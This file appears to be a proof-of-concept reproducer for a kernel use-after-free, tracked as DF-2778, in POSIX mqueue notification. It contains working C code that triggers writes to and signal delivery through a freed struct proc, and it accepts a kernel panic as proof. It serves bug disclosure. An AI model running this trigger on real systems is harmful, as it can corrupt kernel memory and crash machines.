/*
 * DF-2778 — POSIX mqueue mq_notify_proc use-after-free (dangling struct proc *)
 *
 * sys/kern/sys_mqueue.c:
 *   sys_mq_notify()  stores an *unreferenced* `mq->mq_notify_proc = curproc`
 *                    (sys_mqueue.c:988).
 *   mq_close_fop()   clears it only when the *last file reference* drops
 *                    (fo_close runs only then, kern_descrip.c:3180-3181) and
 *                    only if the closing proc is the registrant (:388-389).
 *   mq_send1()       consumes it: PHOLD(notify) + ksignal(notify, ...)
 *                    (sys_mqueue.c:884-885, 900-906).
 *
 * Bug: fork a child C (inherits the mq fd => file refcount > 1), have child R
 * register SIGEV_SIGNAL notification, then let R exit.  R's exit drops one
 * file reference; fo_close does NOT run; mq_notify_proc keeps pointing at R.
 * When the reaper (parent) wait4()s R, struct proc is kfree'd
 * (kern_exit.c:1336, kfree(p, M_PROC) — general kernel heap).  The next
 * mq_send() on the empty queue executes PHOLD() (atomic_add_int on freed
 * memory, kern_proc.c:341) and ksignal() -> lwpsignal() on the freed chunk.
 *
 * Demonstration: right after reaping R, the parent forks an innocent victim
 * V.  The victim's struct proc allocation recycles R's freed chunk (same CPU,
 * LIFO magazine).  The notify signal (SIGUSR1, registered by R for R) then
 * lands on V — visible via V's signal handler — proving the kernel delivered
 * a signal through a freed struct proc, in addition to the PHOLD/token/
 * sigset writes performed on the freed chunk.
 *
 * Build:  cc -O2 -o uaf_notify uaf_notify.c -lpthread (thread lib not needed)
 * Run:    ./uaf_notify [rounds]        (default 64 rounds)
 * Success: any round prints "[VICTIM *] ALIEN SIGUSR1 ..." -> UAF reproduced.
 *          A kernel panic during a round is equally valid proof.
 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/types.h>

/* Raw syscalls: avoid any libc mqueue API presence questions. */
static int
kq_open(const char *name, int oflag, mode_t mode, const long *attr)
{
	long a[4];

	if (attr) {
		memcpy(a, attr, sizeof(a));
		return syscall(SYS_mq_open, name, oflag, mode, a);
	}
	return syscall(SYS_mq_open, name, oflag, mode, NULL);
}
#define kq_close(fd)            close(fd)
#define kq_unlink(name)         syscall(SYS_mq_unlink, (name))
#define kq_notify(fd, sev)      syscall(SYS_mq_notify, (fd), (sev))
#define kq_send(fd, p, l, pr)   syscall(SYS_mq_send, (fd), (p), (l), (pr))

static void
victim_handler(int sig)
{
	const char msg[] = "[VICTIM] *** ALIEN SIGUSR1 RECEIVED THROUGH FREED struct proc ***\n";
	write(2, msg, sizeof(msg) - 1);
	_exit(7);		/* distinctive exit code = proof */
}

int
main(int argc, char **argv)
{
	int rounds = (argc > 1) ? atoi(argv[1]) : 64;
	int mode_signo = (argc > 2) ? atoi(argv[2]) : SIGUSR1;
	int hits = 0, panicky = 0;
	int i;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("DF-2778 PoC: rounds=%d signo=%d pid=%d\n", rounds, mode_signo,
	    (int)getpid());

	for (i = 0; i < rounds; i++) {
		char name[64];
		long attr[4];
		int fdM, R, V, status;
		pid_t wp;
		int j;

		snprintf(name, sizeof(name), "/df2778_%d_%d", (int)getpid(), i);
		attr[0] = 0;			/* mq_flags */
		attr[1] = 8;			/* mq_maxmsg */
		attr[2] = 64;			/* mq_msgsize */
		attr[3] = 0;			/* mq_curmsgs */
		fdM = kq_open(name, O_RDWR | O_CREAT, 0666, attr);
		if (fdM < 0) {
			printf("round %d: mq_open: %s\n", i, strerror(errno));
			if (errno == EMFILE)
				break;
			continue;
		}

		/* --- registrant child R: registers SIGEV_SIGNAL, then exits
		 *     while parent M still holds fdM (file refcount 2). --- */
		R = fork();
		if (R == 0) {
			struct sigevent sev;

			memset(&sev, 0, sizeof(sev));
			sev.sigev_notify = SIGEV_SIGNAL;
			sev.sigev_signo = mode_signo;
			if (kq_notify(fdM, &sev) != 0) {
				/* EINTR-style failures: just retry once */
				if (kq_notify(fdM, &sev) != 0)
					_exit(1);
			}
			_exit(0);	/* refs drop 2->1: NO fo_close, pointer dangles */
		}
		waitpid(R, &status, 0);	/* reap => kfree(p, M_PROC) */

		/* --- innocent victim V: recycles the freed proc chunk --- */
		V = fork();
		if (V == 0) {
			struct sigaction sa;

			if (mode_signo == SIGUSR1) {
				memset(&sa, 0, sizeof(sa));
				sa.sa_handler = victim_handler;
				sigaction(SIGUSR1, &sa, NULL);
			}
			for (j = 0; j < 30; j++)
				usleep(100000);	/* sleep ~3 s */
			_exit(0);	/* not signaled: normal exit 0 */
		}
		usleep(60000);	/* let V reach usleep() and be SSLEEP */

		/* --- fire: empty queue + armed notify => ksignal(freed proc) --- */
		kq_send(fdM, "A", 1, 0);

		/* --- check what happened to V --- */
		wp = waitpid(V, &status, WNOHANG);
		for (j = 0; wp == 0 && j < 35; j++) {
			usleep(100000);
			wp = waitpid(V, &status, WNOHANG);
		}
		if (wp < 0) {
			printf("round %d: waitpid(V): %s\n", i, strerror(errno));
		} else if (WIFEXITED(status) && WEXITSTATUS(status) == 7) {
			printf("round %d: *** HIT: victim got the alien signal "
			    "(UAF reproduced) ***\n", i);
			hits++;
		} else if (WIFSIGNALED(status) &&
		    WTERMSIG(status) == mode_signo) {
			printf("round %d: *** HIT: victim killed by alien "
			    "sig %d (UAF reproduced) ***\n", i, mode_signo);
			hits++;
		} else {
			printf("round %d: victim undisturbed "
			    "(chunk not recycled by V this round)\n", i);
		}

		kq_close(fdM);
		kq_unlink(name);
		if (hits > 0)
			break;	/* proof obtained */
	}
	printf("DF-2778 result: hits=%d rounds=%d -> %s\n", hits, i,
	    hits ? "REPRODUCED" : (panicky ? "PANIC" : "no visible hit"));
	return hits ? 0 : 1;
}
